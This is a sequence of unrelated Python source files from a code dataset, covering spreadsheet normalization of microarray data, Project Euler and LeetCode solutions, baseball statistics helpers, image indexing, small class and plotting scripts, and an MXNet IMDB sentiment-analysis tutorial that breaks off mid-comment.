float(s)\n return True\n except ValueError:\n return False\n except TypeError:\n return False\n\n# creates copy of sheet [num] in specified workbook\n# sets all digit values < 1 to 1\n# inserts new sheet after copy of specified sheet with name + \" floored\"\ndef sheetfloor(wb,num):\n og = wb.worksheets[num]\n ws = wb.create_sheet(og.title+\" floored\", num+1)\n for j in range(len(og['A'])):\n for i in range(len(og[1])):\n value = og.cell(row = j+1, column = i+1).value\n font = copy(og.cell(row = j+1, column = i+1).font)\n ws.cell(row = j+1, column = i+1).font = font\n if is_number(value) and float(value) < 1:\n ws.cell(row = j+1, column = i+1).value = 1\n else:\n ws.cell(row = j+1, column = i+1).value = value\n\n#returns letter name of column of given count\ndef numtocol(num):\n out = \"\"\n while(num>0):\n digit = (num - 1) % 26\n out = chr(digit+65) + out\n num = int((num-1)/26)\n return out\n\n# ===== SCRIPT =====\n\n# Set up WB's\nwb_protocol = openpyxl.load_workbook(PROTOCOL_WB)\nos.chdir(\"Results File\")\n\n# Combine all data into one .xlsx book with each sample on a page\n\nwb_combined = openpyxl.Workbook()\nfor i in range(NUM_INPUT):\n if(i > len(wb_combined.sheetnames) - 1):\n wb_combined.create_sheet()\n print(\"loading sheet \" + str(i))\n ws = wb_combined.worksheets[i]\n curnum = str(i+1).zfill(len(str(NUM_INPUT)))\n # everything else is 1-indexed and 0-padded\n\n ws.title = curnum\n with open(\"slide\"+curnum+\".txt\") as data:\n reader = csv.reader(data, delimiter='\\t')\n for row in reader:\n ws.append(row)\nif(SAVE_ENABLED):\n print(\"saving data_combined.xlsx...\")\n wb_combined.save(\"data_combined.xlsx\")\n print(\"data_combined.xlsx saved\")\n\nos.chdir(\"..\")\n\n# create one sheet in a book with all relevant data, flagged samples removed\n\nwb_working = openpyxl.Workbook()\nws = wb_working.worksheets[0]\nws.title = \"raw medians\"\n\n\nfor i in range(len(wb_combined.worksheets)):\n currsheet = wb_combined.worksheets[i]\n if(VERBOSE_OUTPUT):\n print(\"condensing sheet \" + str(i))\n j = 1 #side note: I hate 1-indexing\n # get ready to see it a lot\n\n #making local var versions of input columns\n data_col = DATA_COL\n name_col = NAME_COL\n flag_col = FLAG_COL\n bloc_col = BLOC_COL\n\n #override local col vars if told to look for it, needs to be unique per sheet\n if(AUTO_COL):\n if(VERBOSE_OUTPUT):\n print(\"automatically finding proper column headers\")\n col_test = 1\n cols_set = 0\n while(cols_set < 4):\n header = currsheet[numtocol(col_test)+str(FIRST_ROW_DATA)].value\n if(header == \"F532 Median - B532\"):\n data_col = numtocol(col_test)\n if(VERBOSE_OUTPUT):\n print(\"data_col found: \" + data_col)\n cols_set = cols_set + 1\n elif(header == \"Name\"):\n name_col = numtocol(col_test)\n if(VERBOSE_OUTPUT):\n print(\"name_col found: \" + name_col)\n cols_set = cols_set + 1\n elif(header == \"Flags\"):\n flag_col = numtocol(col_test)\n if(VERBOSE_OUTPUT):\n print(\"flag_col found: \" + flag_col)\n cols_set = cols_set + 1\n elif(header == \"Block\"):\n bloc_col = numtocol(col_test)\n if(VERBOSE_OUTPUT):\n print(\"bloc_col found: \" + bloc_col)\n cols_set = cols_set + 1\n col_test = col_test + 1\n \n while(currsheet[data_col+str(j+FIRST_ROW_DATA)].value is not None):\n if(i==0):\n clean_name = currsheet[name_col+str(j+FIRST_ROW_DATA)].value.replace(\"_\",\"-\")\n if VERBOSE_OUTPUT and clean_name != currsheet[name_col+str(j+FIRST_ROW_DATA)].value:\n print(\"Changed '\"+ currsheet[name_col+str(j+FIRST_ROW_DATA)].value +\"' to '\"+ clean_name +\"'\")\n ws['A'+str(j+1)] = clean_name + \"_\" + (currsheet[bloc_col+str(j+FIRST_ROW_DATA)].value)\n if(currsheet[flag_col+str(j+FIRST_ROW_DATA)].value == '-100'):\n ws.cell(row = j+1, column = i+2).value = 'NA'\n else:\n ws.cell(row = j+1, column = i+2).value = currsheet[data_col+str(j+FIRST_ROW_DATA)].value\n j = j+1\n\n# add sample names for column titles\n\nif(VERBOSE_OUTPUT):\n print(\"Adding sample names from Protocol File\")\nfor i in range(NUM_INPUT):\n ws.cell(row = 1, column = i+2).value = wb_protocol['Protocol'][SAMPLE_COL + str(SAMPLE_ROW+i)].value\n\n# performing median confinement\n\nprint(\"Consolidating identical analytes\")\ndata = dict()\nfor i in range(len(ws['A'])-1):\n key = ws['A'+str(i+2)].value\n if key not in data.keys():\n data[key] = [list() for a in range(NUM_INPUT)]\n if(VERBOSE_OUTPUT):\n print(\"Adding analyte ID \"+key+\"...\")\n for j in range(NUM_INPUT):\n data[key][j].append(ws.cell(row = i+2, column = j+2).value)\n\nif(VERBOSE_OUTPUT):\n print(\"Creating new worksheet\")\nws = wb_working.create_sheet(\"median medians\")\n\nif(VERBOSE_OUTPUT):\n print(\"Adding sample and secondary names from Protocol File\")\nfor i in range(NUM_INPUT):\n clean_name = wb_protocol['Protocol'][SAMPLE_COL + str(SAMPLE_ROW+i)].value.replace(\"_\",\"-\")\n if VERBOSE_OUTPUT and clean_name != wb_protocol['Protocol'][SAMPLE_COL + str(SAMPLE_ROW+i)].value:\n print(\"Changed '\"+ wb_protocol['Protocol'][SAMPLE_COL + str(SAMPLE_ROW+i)].value +\"' to '\"+ clean_name +\"'\")\n ws.cell(row = 1, column = i+2).value = clean_name + \"_\" + wb_protocol['Protocol'][SECOND_COL + str(SAMPLE_ROW+i)].value\n\nprint(\"Calculating median values\")\ni = 2\nfor key in data.keys():\n ws.cell(row = i, column = 1).value = key\n if(VERBOSE_OUTPUT):\n print(\"Finding median of \"+key+\"...\")\n for j in range(NUM_INPUT):\n values = [int(a) for a in data[key][j] if a != 'NA']\n if values == list():\n ws.cell(row = i, column = j+2).value = 'NA'\n else:\n ws.cell(row = i, column = j+2).value = median(values)\n i = i+1\n\nif(VERBOSE_OUTPUT):\n print(\"Setting floor to 1\")\nsheetfloor(wb_working, 1)\n\nprint(\"Consolidating identical samples\")\nws = wb_working.worksheets[2]\n\ndata = dict()\nnum_analytes = len(ws['A'])-1\nfor i in range(NUM_INPUT):\n key = ws.cell(row = 1, column = i+2).value\n if key not in data.keys():\n data[key] = [list() for a in range(num_analytes)]\n if(VERBOSE_OUTPUT):\n print(\"Adding sample ID \"+key+\"...\")\n for j in range(num_analytes):\n data[key][j].append(ws.cell(row = j+2, column = i+2).value)\n\nif(VERBOSE_OUTPUT):\n print(\"Creating new worksheet\")\nws = wb_working.create_sheet(\"mean samples\")\n\nif(VERBOSE_OUTPUT):\n print(\"Adding analyte names from previous sheet\")\nfor i in range(num_analytes):\n ws.cell(column = 1, row = i+2).value = wb_working.worksheets[2].cell(column = 1, row = i+2).value\n\nprint(\"Calculating average values\")\ni = 2\nfor key in data.keys():\n ws.cell(row = 1, column = i).value = key\n if(VERBOSE_OUTPUT):\n print(\"Averaging values for \"+key+\"...\")\n for j in range(num_analytes):\n values = [float(a) for a in data[key][j] if a != 'NA']\n if values == list():\n ws.cell(row = j+2, column = i).value = 'NA'\n else:\n ws.cell(row = j+2, column = i).value = average(values)\n i = i+1\n\nif(VERBOSE_OUTPUT):\n print(\"Separating block identifiers\")\nnum_samples = len(ws[1]) - 1\ndata = [dict() for a in range(NUM_BLOCKS)]\nfor i in range(len(ws['A'])-1):\n ID = ws.cell(column = 1, row = i+2).value\n block = int(ID.split(\"_\")[1]) - 1\n key = ID.split(\"_\")[0]\n data[block][key] = [0 for a in range(num_samples)]\n if(VERBOSE_OUTPUT):\n print(\"Adding analyte ID \"+key+\" to block \"+str(block)+\"...\")\n for j in range(num_samples):\n data[block][key][j] = ws.cell(row = i+2, column = j+2).value\n \nif(BLOCKWISE_PBS):\n if(VERBOSE_OUTPUT):\n print(\"Creating new worksheet\")\n ws = wb_working.create_sheet(\"PBS corrected\")\n\n if(VERBOSE_OUTPUT):\n print(\"Adding sample names from previous sheet\")\n for i in range(num_samples):\n ws.cell(column = i+2, row = 1).value = wb_working.worksheets[3].cell(column = i+2, row = 1).value\n\n currrow = 2\n for block in range(NUM_BLOCKS):\n for key in data[block].keys():\n ws.cell(column = 1, row = currrow).value = key\n for i in range(len(data[block][key])):\n curval = data[block][key][i]\n curPBS = data[block][\"PBS\"][i]\n if(curval=='NA'):\n ws.cell(column = i+2, row = currrow).value = 'NA'\n elif(curPBS=='NA'):\n # if the PBS value is invalid, leave as is and change format\n ws.cell(column = i+2, row = currrow).value = curval\n ws.cell(column = i+2, row = currrow).font = openpyxl.styles.Font(italic=True)\n else:\n ws.cell(column = i+2, row = currrow).value = curval - curPBS\n data[block][key][i] = curval - curPBS\n currrow = currrow + 1\n\n if(VERBOSE_OUTPUT):\n print(\"Setting floor to 1\")\n sheetfloor(wb_working, len(wb_working.worksheets)-1)\n\nif(MULTIBLOCK_ANTIGENS):\n if(VERBOSE_OUTPUT):\n print(\"Creating new worksheet\")\n print(\"Averaging antigens across blocks\")\n \n ws = wb_working.create_sheet(\"Blockwise Antigens Avg\")\n \n per_sample = dict()\n for block in range(NUM_BLOCKS):\n for key in data[block].keys():\n if key in per_sample.keys():\n per_sample[key].append(data[block][key])\n else:\n per_sample[key] = [data[block][key]]\n\n\n if(VERBOSE_OUTPUT):\n print(\"Adding sample names from previous sheet\")\n for i in range(num_samples):\n ws.cell(column = i+2, row = 1).value = wb_working.worksheets[3].cell(column = i+2, row = 1).value\n\n keynum = 0\n for key in per_sample.keys():\n ws.cell(row = keynum+2, column = 1).value = key\n \n rearr = transpose(per_sample[key])\n for i in range(len(rearr)):\n ws.cell(column = i+2, row=keynum+2).value = average([x.astype(float) for x in rearr[i] if is_number(x)])\n\n keynum = keynum + 1\n \n\nif(BLANK_SAMPLES):\n if(VERBOSE_OUTPUT):\n print(\"Subtracting blanks from matching secondary\")\n ws = wb_working.worksheets[-1]\n\n data = dict()\n styles = dict()\n for i in range(num_samples):\n ID = ws.cell(row = 1, column = i+2).value\n sample = ID.split(\"_\")[0]\n secondary = ID.split(\"_\")[1]\n if secondary not in data.keys():\n data[secondary]=dict()\n styles[secondary]=dict()\n for col in ws.iter_cols(min_row=2, min_col=i+2,max_col=i+2):\n data[secondary][sample]=[cell.value for cell in col]\n styles[secondary][sample]=[cell.font for cell in col] #need to be sure to copy styles at this point\n\n if(VERBOSE_OUTPUT):\n print(\"Creating new worksheet\")\n ws = wb_working.create_sheet(\"blank subtracted\")\n\n if(VERBOSE_OUTPUT):\n print(\"Adding analyte names from previous sheet\")\n for i in range(num_analytes):\n ws.cell(column = 1, row = i+2).value = wb_working.worksheets[-2].cell(column = 1, row = i+2).value\n\n currcol = 2\n for secondary in data.keys():\n for sample in data[secondary].keys():\n ws.cell(row = 1, column = currcol).value = sample\n for i in range(len(data[secondary][sample])):\n curval = data[secondary][sample][i]\n curblank = data[secondary]['Blank'][i]\n if(curval=='NA'):\n ws.cell(column = currcol, row = i+2).value = 'NA'\n elif(curblank=='NA'):\n ws.cell(column = currcol, row = i+2).value = curval\n # ws.cell(column = currcol, row = i+2).font = openpyxl.Font(bold=True)\n else:\n ws.cell(column = currcol, row = i+2).value = curval - curblank\n ws.cell(column = currcol, row = i+2).font = copy(styles[secondary][sample][i])\n currcol = currcol + 1\n\n if(VERBOSE_OUTPUT):\n print(\"Setting floor to 1\")\n sheetfloor(wb_working, len(wb_working.worksheets)-1)\n \nif(SAVE_ENABLED):\n wb_working.save(\"Results_Normalization_Process.xlsx\") \n print(\"Saved file 'Results_Normalization_Process.xlsx'\")\n\n while(len(wb_working.worksheets) > 1):\n wb_working.remove_sheet(wb_working.worksheets[0])\n wb_working.worksheets[0].title = \"master\"\n wb_working.save(OUTPUT_WB) \n print(\"Saved file '\" + OUTPUT_WB + \"'\")\n\n\n","sub_path":"CompressRawData.py","file_name":"CompressRawData.py","file_ext":"py","file_size_in_byte":14883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"289765910","text":"import re\n\ntxt_file = open(\"p042_words.txt\", \"r\")\ninput_string = txt_file.read()\nwords = input_string.split(',')\nclean_words = sorted([''.join([i for i in word if i.isalpha()]) for word in words])\n\nmapper = {\n 'A':1,'B':2,'C':3,'D':4,'E':5,'F':6,'G':7,'H':8,'I':9,'J':10,'K':11,'L':12,'M':13,'N':14,'O':15,'P':16,'Q':17,'R':18,'S':19,'T':20,'U':21,'V':22,'W':23,'X':24,'Y':25,'Z':26\n}\n\ndef is_triangle(x):\n n = 1\n t = n*(n+1)/2\n while(t<=x):\n if(t==x):\n return True\n n+=1\n t = n*(n+1)/2\n return False\n\ncount = 0\nfor word in clean_words:\n word_total = 0\n for letter in word:\n word_total+=mapper[letter]\n if(is_triangle(word_total)):\n count +=1\n\nprint(count)\n","sub_path":"42.py","file_name":"42.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"74233089","text":"def pitcher_outcome_totals(df, by_gamePk=None):\n outcome_groupby = [\"personId\", \"outcome\"]\n outcome_columns = [\"personId\", \"b_sv\", \"hlds\", \"l\", \"sv\", \"w\"]\n if by_gamePk:\n outcome_groupby.insert(0, \"gamePk\")\n outcome_columns.insert(0, \"gamePk\")\n df[\"outcome\"] = df[\"note\"].str.get(1)\n df = (\n df.groupby(outcome_groupby)[\"date\"]\n .nunique()\n .reset_index()\n .pivot(\n index=[o for o in outcome_groupby if o != \"outcome\"],\n columns=\"outcome\",\n values=\"date\",\n )\n .reset_index()\n .fillna(0)\n .drop_duplicates()\n )\n df.columns = outcome_columns\n return df\n\n\ndef batter_ratio_stats(df):\n df[\"bavg\"] = df[\"h\"] / df[\"ab\"]\n return df\n\n\ndef pitcher_ratio_stats(df):\n df[\"era\"] = df.apply(lambda x: calculate_era(x[\"er\"], x[\"ip\"]), axis=1)\n df[\"whip\"] = df.apply(lambda x: calculate_whip(x[\"h\"], x[\"bb\"], x[\"ip\"]), axis=1)\n return df\n\n\ndef calculate_era(er, ip):\n return 9 * (er / ip)\n\n\ndef calculate_whip(h, bb, ip):\n return (h + bb) / ip\n","sub_path":"baseball-data-etl/etl/boxscore_math.py","file_name":"boxscore_math.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"521905138","text":"# import the necessary packages\nfrom imagesearchutil.rgbhistogram import RGBHistogram \nfrom imutils.paths import list_images\nimport argparse\nimport pickle\nimport cv2\n\n# construct the argument parser and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-d\", \"--dataset\", required= True, help = \"path to the directory\")\nap.add_argument(\"-i\", \"--index\", required = True, help = \"Path to where the computed index will be stored\")\nargs = vars(ap.parse_args())\n\n# initialise the index dictionary to store our quantified\n# images, with the 'key' of the dictionary being the image\n# filename and the 'value' of our computed features\nindex = {}\n\n# initialising our image descriptor with 8 bins per channel\ndesc = RGBHistogram([8, 8, 8])\n\n# use list_images to grab the image paths and loop over\n# them\nfor imagePath in list_images(args[\"dataset\"]):\n # extract our unique image ID,i.e, the filename\n k = imagePath[imagePath.rfind(\"/\") + 1 :]\n\n # load the image, describe it using our RGB histogram\n # descriptor, and update the index\n image = cv2.imread(imagePath)\n features = desc.describe(image)\n index[k] = features\n\n# we are now done indexing our image - now we can write our\n# index to disk\nf = open(args[\"index\"], \"wb\")\nf.write(pickle.dumps(index))\nf.close()\n\n# show how many images we indexed\nprint(\"[INFO] done...indexed {} images\".format(len(index)))\n","sub_path":"Image-Search-Engine/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"482870965","text":"from classes.staff import Staff\nfrom classes.student import Student\n\nclass School:\n def __init__(self, name):\n self.name = name\n self.staff = Staff.objects()\n self.students = Student.objects()\n\n def list_students(self):\n for index, student in enumerate(self.students):\n print(f\"{index+1}. {student.name} {student.school_id}\")\n \n def find_student_by_id(self, school_id):\n for student in self.students:\n if school_id == student.school_id:\n return student\n return(None)\n","sub_path":"classes/school.py","file_name":"school.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"479659086","text":"\n# http://blog.csdn.net/bearkino/article/details/50734939\nclass Solution:\n def findItinerary(self, tickets):\n \"\"\"\n :type tickets: List[List[str]]\n :rtype: List[str]\n \"\"\"\n graph = collections.defaultdict(list)\n for t in tickets:\n graph[t[0]].append(t[1])\n \n res = [\"JFK\"]\n self.dfs(graph, len(tickets), \"JFK\", res, set())\n return res\n \n def dfs(self, graph, length, departure, path, visited):\n if len(path) == length + 1:\n return True\n for arrival in sorted(graph[departure]):\n graph[departure].remove(arrival)\n path.append(arrival)\n if self.dfs(graph, length, arrival, path, visited):\n return True\n path.pop()\n graph[departure].append(arrival) \n \n \n# https://leetcode.com/problems/reconstruct-itinerary/discuss/78768/Short-Ruby-Python-Java-C++\nimport collections\nclass Solution(object):\n def findItinerary(self, tickets):\n \"\"\"\n :type tickets: List[List[str]]\n :rtype: List[str]\n \"\"\"\n # Eulerian path\n def visit(airport):\n while targets[airport]:\n visit(targets[airport].pop())\n route.append(airport)\n \n \n targets = collections.defaultdict(list)\n for a, b in sorted(tickets)[::-1]:\n targets[a] += b,\n route = []\n visit('JFK')\n return route[::-1]\n \nclass Solution:\n def findItinerary(self, tickets):\n \"\"\"\n :type tickets: List[List[str]]\n :rtype: List[str]\n \"\"\"\n graph = collections.defaultdict(list)\n for t in tickets:\n graph[t[0]].append(t[1])\n \n res = []\n self.dfs(graph, \"JFK\", res)\n return res[::-1]\n \n def dfs(self, graph, departure, path):\n graph[departure].sort(reverse=True)\n while graph[departure]:\n self.dfs(graph, graph[departure].pop(), path)\n path.append(departure)\n\n\nif __name__==\"__main__\":\n tickets1 = [[\"MUC\", \"LHR\"], [\"JFK\", \"MUC\"], [\"SFO\", \"SJC\"], [\"LHR\", \"SFO\"]]\n print(Solution().findItinerary(tickets1))\n tickets2 = [[\"JFK\",\"SFO\"],[\"JFK\",\"ATL\"],[\"SFO\",\"ATL\"],[\"ATL\",\"JFK\"],[\"ATL\",\"SFO\"]]\n print(Solution().findItinerary(tickets2))\n tickets3 = [[\"JFK\",\"KUL\"],[\"JFK\",\"NRT\"],[\"NRT\",\"JFK\"]]\n print(Solution().findItinerary(tickets3))","sub_path":"332. Reconstruct Itinerary.py","file_name":"332. Reconstruct Itinerary.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"490554300","text":"def validatecontact(contactObject):\n if ('name' in contactObject and 'phone' in contactObject):\n return True\n else:\n return False\n\ncontact =[\n{\n'name':'prem',\n'phone':'7502233313'\n},\n{\n'name':'merp',\n'phone':'7502233314',\n}\n]\n\nreturn_error =[\n{'success': False,\n\n'error': {\n 'message' : 'No value present'\n }\n}\n]\n\nreturn_success =[\n{\n'success': True,\n 'error': None\n}\n]\n\n\n\n#below variable are for testing purpose\nvalid_object ={\n'name':'prem',\n'phone':'7502233313'\n}\n\ninvalid_object ={\n'name':'kumar'\n}\n","sub_path":"package/contact.py","file_name":"contact.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"579297705","text":"import json\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nfont = {'family' : 'Times New Roman', 'size' : 55}\nmatplotlib.rc('font', **font)\nmatplotlib.rc('lines', linewidth=6, markeredgewidth=7, markersize=18)\nmatplotlib.rc('grid', linewidth=1.5, linestyle='-.')\n\nwith open('figure3.json', 'r') as infile:\n input = json.load(infile)\n\n\nplt.clf()\nplt.plot(input[\"alphas\"], np.array(input[\"without_cloud\"][\"normalized_utility\"]), 'ro-', label=\"Auction Based\")\nplt.plot(input[\"alphas\"], np.array(input[\"with_cloud\"][\"normalized_utility\"]), 'g^-', label=\"Auction Based (with Cloud)\")\nplt.xlim((1, 10))\nplt.xlabel('$\\\\alpha$')\nplt.ylabel('Average Cost')\nplt.grid(True)\nplt.legend()\nplt.show()\n","sub_path":"6/draw_figure3.py","file_name":"draw_figure3.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"101780703","text":"# -*- coding: utf-8 -*-\n# @Time : 2021/3/29\n# @Author : sunyihuan\n# @File : all_nums_from_results.py\n'''\n根据分类后的文件夹,输出对应结果\n'''\n\nimport xlwt\nimport os\n\n\ndef results_all_nums(data_root):\n cls_list = os.listdir(data_root)\n w = xlwt.Workbook()\n sheet = w.add_sheet(\"all_nums\")\n sheet.write(0, 0, \"类别\")\n sheet.write(0, 1, \"高置信度准确数\")\n sheet.write(0, 2, \"低置信度准确数\")\n sheet.write(0, 3, \"无任何结果\")\n sheet.write(0, 4, \"高置信度错误\")\n sheet.write(0, 5, \"低置信��错误\")\n sheet.write(0, 6, \"错误无任何结果\")\n for i, c in enumerate(cls_list):\n class_gao_nums = 0\n class_di_nums = 0\n class_noresult = 0\n class_error_gao_nums = 0\n class_error_di_nums = 0\n class_error_noresults_nums = 0\n if len(c.split(\".\")) == 1:\n class_name = c\n for pre_c in os.listdir(data_root + \"/\" + c):\n if pre_c == c:\n if os.path.exists(data_root + \"/\" + c + \"/\" + pre_c + \"/gaofen\"):\n class_gao_nums += len(os.listdir(data_root + \"/\" + c + \"/\" + pre_c + \"/gaofen\"))\n if os.path.exists(data_root + \"/\" + c + \"/\" + pre_c + \"/difen\"):\n class_di_nums += len(os.listdir(data_root + \"/\" + c + \"/\" + pre_c + \"/difen\"))\n if os.path.exists(data_root + \"/\" + c + \"/\" + pre_c + \"/noresult\"):\n class_noresult += len(os.listdir(data_root + \"/\" + c + \"/\" + pre_c + \"/noresult\"))\n elif pre_c == \"noresult\":\n class_noresult += len(os.listdir(data_root + \"/\" + c + \"/\" + pre_c))\n else:\n if os.path.exists(data_root + \"/\" + c + \"/\" + pre_c + \"/gaofen\"):\n class_error_gao_nums += len(os.listdir(data_root + \"/\" + c + \"/\" + pre_c + \"/gaofen\"))\n if os.path.exists(data_root + \"/\" + c + \"/\" + pre_c + \"/difen\"):\n class_error_di_nums += len(os.listdir(data_root + \"/\" + c + \"/\" + pre_c + \"/difen\"))\n if os.path.exists(data_root + \"/\" + c + \"/\" + pre_c + \"/noresult\"):\n class_error_noresults_nums += len(os.listdir(data_root + \"/\" + c + \"/\" + pre_c + \"/noresult\"))\n sheet.write(i + 1, 0, c)\n sheet.write(i + 1, 1, class_gao_nums)\n sheet.write(i + 1, 2, class_di_nums)\n sheet.write(i + 1, 3, class_noresult)\n sheet.write(i + 1, 4, class_error_gao_nums)\n sheet.write(i + 1, 5, class_error_di_nums)\n sheet.write(i + 1, 6, class_error_noresults_nums)\n w.save(data_root + \"/all_nums.xls\")\n\n\ndata_root = \"F:/serve_data/202101-03_detetction\"\nresults_all_nums(data_root)\n","sub_path":"data_script/all_nums_from_results.py","file_name":"all_nums_from_results.py","file_ext":"py","file_size_in_byte":2769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"267939140","text":"# 25P\n# Write a function that takes in a list of objects and converts each object in the list into a int.\n# For objects that can't be directly converted to int should have their length counted\n# The function will return a list with all int values ordered from largest to smallest.\n# example [1, True, '123', False, 6, ()] will be transformed into [123, 6, 1, 1, 0, 0]\n# 25P - (use recursion)\n# After reading the above articles try creating a function to calculate the series (1^2)+(2^2)+(3^2)...(n^2)\n# The function will receive an int that indicate the number of iterations, or how many times we have (x^2)+\n# when resolving try using this logic: 1^2+2^2 is 1^2+(1^2+1^2)^2\n# 25P\n# Write a function that will calculate factorial of numbers squared.\n# For n = 3 the function should calculate (1^2)(2^2)(3^2)\n#1\ninput_list = [1, True, '123', False, 6, ()]\n\ndef ordered_ints(list_of_objects: list):\n ints_list = []\n for object in list_of_objects:\n if type(object) == tuple:\n object_lenght = len(object)\n ints_list.append(object_lenght)\n continue\n if type(object) == str or True or False: # convert to int if possible\n object = int(object)\n ints_list.append(object)\n ints_list.sort()\n ints_list.reverse()\n return ints_list\n\nresult = ordered_ints(input_list)\nprint(result)\n#2\ndef sum_of_square(n: int):\n if n <= 1 :\n return 1\n else:\n return sum_of_square(n-1) + n ** 2\n\nprint(sum_of_square(10))\n#3\ndef factorial_of_squares(n: int):\n factorial = 1\n for number in range(1, n+1):\n factorial = number * 2\n return factorial\n\nprint(\"my result:\",factorial_of_squares(3))\n\n","sub_path":"modul3/homework3.py","file_name":"homework3.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"485082350","text":"#with style.context('fivethirtyeight'):\nwith plt.xkcd():\n plot([3,1,4,1,5,9,2,6,5,3])\n xlim([-0.5, 9.5])\n ylim([0, 9.5])\n ax = gca()\n #children = ax.get_children()\n #line = children[2]\n #line.set_solid_joinstyle('miter')\n setp(ax, xlabel='hello')\n ax.set_ylabel('world', size=15)\n ax.yaxis.set_tick_params(labelsize=20)\n","sub_path":"hello3.py","file_name":"hello3.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"82104561","text":"\nimport random\nimport math\nimport mxnet as mx\nfrom mxnet import autograd, gluon, init, nd\n\nimport collections\nfrom mxnet import gluon, init, nd\nfrom mxnet.contrib import text\nfrom mxnet.gluon import data as gdata, loss as gloss, nn, rnn, utils as gutils\nimport os\nimport time\nimport tarfile\n\n\ndef try_gpu(): \n try:\n ctx = mx.gpu()\n _ = nd.zeros((1,), ctx=ctx)\n except mx.base.MXNetError:\n ctx = mx.cpu()\n return ctx\n\ndef try_all_gpus():\n ctxes = []\n try:\n for i in range(16): # 假设⼀台机器上 GPU 的个数不超过 16。\n ctx = mx.gpu(i)\n _ = nd.array([0], ctx=ctx)\n ctxes.append(ctx)\n except mx.base.MXNetError:\n pass\n if not ctxes:\n ctxes = [mx.cpu()]\n return ctxes\n\ndef _get_batch(batch, ctx):\n features, labels = batch\n if labels.dtype != features.dtype:\n labels = labels.astype(features.dtype)\n # 当 ctx 包含多个 GPU 时,划分⼩批量数据样本并复制到各个 GPU 上。\n return (gutils.split_and_load(features, ctx), gutils.split_and_load(labels, ctx), features.shape[0])\n\ndef evaluate_accuracy(data_iter, net, ctx=[mx.cpu()]):\n if isinstance(ctx, mx.Context):\n ctx = [ctx]\n acc_sum, n = nd.array([0]), 0\n for batch in data_iter:\n features, labels, _ = _get_batch(batch, ctx)\n for X, y in zip(features, labels):\n y = y.astype('float32')\n acc_sum += (net(X).argmax(axis=1) == y).sum().copyto(mx.cpu())\n n += y.size\n acc_sum.wait_to_read()\n return acc_sum.asscalar() / n\n\n#下载 Stanford’s Large Movie Review Dataset 作为⽂本情感分类的数据集\ndef download_imdb(data_dir='./data'):\n url = ('http://ai.stanford.edu/~amaas/data/sentiment/aclImdb_v1.tar.gz')\n sha1 = '01ada507287d82875905620988597833ad4e0903'\n fname = gutils.download(url, data_dir, sha1_hash=sha1)\n with tarfile.open(fname, 'r') as f:\n f.extractall(data_dir)\n#读取\ndef read_imdb(folder='train'): \n data = []\n for label in ['pos', 'neg']:\n folder_name = os.path.join('./data/aclImdb/', folder, label)\n for file in os.listdir(folder_name):\n with open(os.path.join(folder_name, file), 'rb') as f:\n review = f.read().decode('utf-8').replace('\\n', '').lower()\n data.append([review, 1 if label == 'pos' else 0])\n random.shuffle(data)\n return data\n\n#数据预处理-分词(基于空格)\ndef get_tokenized_imdb(data): # 本函数已保存在 d2lzh 包中⽅便以后使⽤。\n def tokenizer(text):\n return [tok.lower() for tok in text.split(' ')]\n return [tokenizer(review) for review, _ in data]\n\n#数据预处理-过滤掉出现次数少于 5 的词。\ndef get_vocab_imdb(data): \n tokenized_data = get_tokenized_imdb(data)\n counter = collections.Counter([tk for st in tokenized_data for tk in st])\n return text.vocab.Vocabulary(counter, min_freq=5)\n\n#因为每条评论⻓度不⼀致使得不能直接组合成小批量,我们定义 preprocess_imdb 函数对每条评论进⾏分词,并通过词典转换成词索引,然后通过截断或者补 0 来将每条评论⻓度固定成\n#500。\ndef preprocess_imdb(data, vocab): # 本函数已保存在 d2lzh 包中⽅便以后使⽤。\n max_l = 500 # 将每条评论通过截断或者补 0,使得⻓度变成 500。\n def pad(x):\n return x[:max_l] if len(x) > max_l else x + [0] * (max_l - len(x))\n tokenized_data = get_tokenized_imdb(data)\n features = nd.array([pad(vocab.to_indices(x)) for x in tokenized_data])\n labels = nd.array([score for _, score in data])\n return features, labels\n\n#双向循环神经网络\nclass BiRNN(nn.Block):\n def __init__(self, vocab, embed_size, num_hiddens, num_layers, **kwargs):\n super(BiRNN, self).__init__(**kwargs)\n self.embedding = nn.Embedding(len(vocab), embed_size)\n # bidirectional 设 True 即得到双向循环神经⽹络。\n self.encoder = rnn.LSTM(num_hiddens, num_layers=num_layers,\n bidirectional=True, input_size=embed_size)\n self.decoder = nn.Dense(2)\n def forward(self, inputs):\n # inputs 的形状是(批量⼤⼩,词数),因为 LSTM 需要将序列作为第⼀维,所以将输⼊转\n # 置后再提取词特征,输出形状为(词数,批量⼤⼩,词向量维度)。\n embeddings = self.embedding(inputs.T)\n # states 形状是(词数,批量⼤⼩,2 * 隐藏单元个数)。\n states = self.encoder(embeddings)\n # 连结初始时间步和最终时间步的隐藏状态作为全连接层输⼊。它的形状为(批量⼤⼩, # 4 * 隐藏单元个数)。\n encoding = nd.concat(states[0], states[-1])\n outputs = self.decoder(encoding)\n return outputs\n\n\n#定义 train 函数使⽤多 GPU 训练并评价模型\ndef 